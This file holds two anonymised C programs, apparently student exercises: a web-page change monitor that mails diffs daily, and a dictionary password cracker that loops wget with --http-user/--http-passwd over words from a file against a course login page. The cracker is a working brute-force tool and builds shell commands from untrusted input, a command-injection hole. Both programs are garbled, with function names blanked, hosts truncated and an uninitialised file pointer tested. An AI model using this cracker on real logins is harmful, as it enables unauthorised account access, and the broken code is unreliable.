# include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>

int ()
{

 int m,n,o,i;
 time_t u1,u2;
 char v[3];
 char temp1[100];
 char temp2[100];
 char temp3[250];
 FILE *fin1;
 
 char point[25];
  fin1=fopen("./words.txt","r");
  
  if(fin1==NULL)
  {
   printf(" open the file ");
   exit(0);
  } 
  

 strcpy(temp2," --http-user= --http-passwd=");
 strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
 
   strcpy(temp3,"");
   
   (void) time(&u1); 
   
   while(!feof(fin1))  
   {
    
    fgets(point,25,fin1);
    if(strlen(point)<=4)
    {
   
    
    strcpy(temp3,temp1);
    strcat(temp3,temp2);
     strcat(temp3,point);
    printf("\nSending the  %s\n",temp3);
    i=system(temp3);  
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",point);
	 printf("\n\nThe time_var taken  crack the passwork is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
   
   
    }
  }
   
  
}  
